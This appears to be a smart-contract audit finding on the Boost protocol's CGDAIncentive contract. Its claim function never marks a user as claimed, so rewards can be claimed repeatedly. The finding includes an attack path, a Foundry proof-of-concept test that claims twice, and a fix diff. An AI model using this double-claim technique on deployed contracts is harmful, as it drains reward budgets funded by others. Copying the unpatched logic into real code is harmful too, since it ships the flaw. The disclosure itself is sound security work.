Spare Merlot Manatee

High

# Lack of updating the `claimed` mapping will allow multiple user entries in the `CGDAIncentive`

### Summary

`CDGAIncentive` is responsible for conducting a **dutch auction** for users who have performed the specified in the boost **action** and are **eligible** for claiming a reward. However when a user performs the specified action and claims their reward the `claimed` mapping, responsible for keeping a track of who have claimed a reward does **not** get updated, thus **allowing** the same user to be **eligible** for claiming a reward **again**.

### Root Cause

In `CGDAIncentive` the [_isClaimable](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/78930f2ed6570f30e356b5529bd4bcbe5194eb8b/boost-protocol/packages/evm/contracts/incentives/CGDAIncentive.sol#L133) function is responsible for determining whether a user can claim a reward using the check `!claimed[recipient_]`. However when the user claims their reward using the [claim()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/78930f2ed6570f30e356b5529bd4bcbe5194eb8b/boost-protocol/packages/evm/contracts/incentives/CGDAIncentive.sol#L85) function the `claimed` mapping **does not** get updated nowhere in that function and the user **remains eligible** for claiming a reward again.

### Internal pre-conditions

1. A **boost** needs to be created with its incentive being `CGDAIncentive`.

### External pre-conditions

1. User must have performed the specified in the boost action in order to be eligible for claiming a reward.

### Attack Path

1. Boost owner creates a *boost* with `CGDAIncentive`.
2. The user performs the action specified in the incentive
3. The user prepares the action data for validation
4. The user claims reward through the `BoostCore::claimIncentive`
5. The user remains eligible for claiming a reward, thus he can call `BoostCore::claimIncentive` again

### Impact

This issue severely disrupts the workflow of the protocol due to the fact that the user can call `BoostCore::claimIncentive` whenever he wants as many times as he wants and can still be eligible for claiming a reward.

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "lib/forge-std/src/Test.sol";
import {MockERC20, MockERC721, MockAuth} from "contracts/shared/Mocks.sol";

import {LibClone} from "@solady/utils/LibClone.sol";
import {LibZip} from "@solady/utils/LibZip.sol";

// Actions
import {AAction} from "contracts/actions/AAction.sol";
import {AContractAction, ContractAction} from "contracts/actions/ContractAction.sol";
import {ERC721MintAction} from "contracts/actions/ERC721MintAction.sol";

// Allowlists
import {AAllowList} from "contracts/allowlists/AAllowList.sol";
import {SimpleAllowList} from "contracts/allowlists/SimpleAllowList.sol";

// Budgets
import {ABudget} from "contracts/budgets/ABudget.sol";
import {SimpleBudget} from "contracts/budgets/SimpleBudget.sol";

// Incentives
import {AIncentive} from "contracts/incentives/AIncentive.sol";
import {ACGDAIncentive} from "contracts/incentives/ACGDAIncentive.sol";
import {CGDAIncentive} from "contracts/incentives/CGDAIncentive.sol";

// Validators
import {AValidator} from "contracts/validators/AValidator.sol";
import {SignerValidator} from "contracts/validators/SignerValidator.sol";

// Core and Shared
import {BoostCore} from "contracts/BoostCore.sol";
import {BoostRegistry} from "contracts/BoostRegistry.sol";
import {BoostError} from "contracts/shared/BoostError.sol";
import {BoostLib} from "contracts/shared/BoostLib.sol";
import {ACloneable} from "contracts/shared/ACloneable.sol";

import {Ownable} from "@solady/auth/Ownable.sol";

contract PoCCGDA is Test {
    using LibClone for address;

    MockERC20 mockERC20 = new MockERC20();
    MockERC721 mockERC721 = new MockERC721();
    MockAuth mockAuth;
    address[] mockAddresses;

    BoostCore boostCore = new BoostCore(new BoostRegistry(), address(1));
    BoostLib.Target action = _makeAction(address(mockERC721), MockERC721.mint.selector, mockERC721.mintPrice());
    BoostLib.Target allowList = _makeAllowList(address(this));

    address[] authorized = [address(boostCore)];
    ABudget budget = _makeBudget(address(this), authorized);

    bytes validCreateCalldata = LibZip.cdCompress(
        abi.encode(
            BoostCore.InitPayload({
                budget: budget,
                action: action,
                validator: BoostLib.Target({isBase: true, instance: address(0), parameters: ""}),
                allowList: allowList,
                incentives: _makeIncentives(1),
                protocolFee: 500, // 5%
                referralFee: 1000, // 10%
                maxParticipants: 10_000,
                owner: address(1)
            })
        )
    );

    function setUp() public {
        mockERC20.mint(address(this), 100 ether);
        mockERC20.approve(address(budget), 100 ether);
        budget.allocate(
            abi.encode(
                ABudget.Transfer({
                    assetType: ABudget.AssetType.ERC20,
                    asset: address(mockERC20),
                    target: address(this),
                    data: abi.encode(ABudget.FungiblePayload({amount: 100 ether}))
                })
            )
        );
    }

    function testPoC() public {
        // Boost owner creates a boost with its incentive being `CGDAIncentive`
        BoostLib.Boost memory boost = boostCore.createBoost(validCreateCalldata);

        address user = makeAddr("user");
        
        // Perform the action -> Mint ERC721 token to this contract
        hoax(user, mockERC721.mintPrice());
        mockERC721.mint{value: mockERC721.mintPrice()}(address(this));

        // Prepare data for validation
        uint256 tokenId = 1;
        bytes memory data = abi.encode(address(this), abi.encode(tokenId));

        // Claim reward
        uint256 fee = 0.000075 ether;
        hoax(user, fee);
        boostCore.claimIncentive{value: 0.000075 ether}(0, 0, address(0), data);

        // Claim reward again
        hoax(user, fee);
        boostCore.claimIncentive{value: 0.000075 ether}(0, 0, address(0), data);
    }


    ///////////////////////////
    // Test Helper Functions //
    ///////////////////////////

    function _makeAction(address target, bytes4 selector, uint256 value) internal returns (BoostLib.Target memory) {
        return BoostLib.Target({
            isBase: true,
            instance: address(new ERC721MintAction()),
            parameters: abi.encode(
                AContractAction.InitPayload({chainId: block.chainid, target: target, selector: selector, value: value})
            )
        });
    }

    function _makeAllowList(address addr) internal returns (BoostLib.Target memory) {
        address[] memory list = new address[](1);
        list[0] = addr;
        return BoostLib.Target({
            isBase: true,
            instance: address(new SimpleAllowList()),
            parameters: abi.encode(address(this), list)
        });
    }

    function _makeBudget(address owner_, address[] memory authorized_) internal returns (ABudget _budget) {
        _budget = ABudget(payable(address(new SimpleBudget()).clone()));
        _budget.initialize(abi.encode(SimpleBudget.InitPayload({owner: owner_, authorized: authorized_})));
    }

    function _makeIncentives(uint256 count) internal returns (BoostLib.Target[] memory) {
        BoostLib.Target[] memory incentives = new BoostLib.Target[](count);
        for (uint256 i = 0; i < count; i++) {
            incentives[i] = BoostLib.Target({
                isBase: true,
                instance: address(new CGDAIncentive()),
                parameters: abi.encode(
                    CGDAIncentive.InitPayload({
                        asset: address(mockERC20),
                        initialReward: 1 ether,
                        rewardDecay: 0.05 ether,
                        rewardBoost: 0.1 ether,
                        totalBudget: 10 ether
                    })
                )
            });
        }
        return incentives;
    }

}
```

### Mitigation

In `CGDAIncentive::claim` update the `claimed` mapping whenever a user claims a reward:
```diff
function claim(address claimTarget, bytes calldata) external virtual override onlyOwner returns (bool) {
        if (!_isClaimable(claimTarget)) revert NotClaimable();
+       claimed[claimTarget] = true;  
        claims++;

        // Calculate the current reward and update the state
        uint256 reward = currentReward();
        cgdaParams.lastClaimTime = block.timestamp;
        cgdaParams.currentReward =
            reward > cgdaParams.rewardDecay ? reward - cgdaParams.rewardDecay : cgdaParams.rewardDecay;

        // Transfer the reward to the recipient
        asset.safeTransfer(claimTarget, reward);

        emit Claimed(claimTarget, abi.encodePacked(asset, claimTarget, reward));
        return true;
    }
```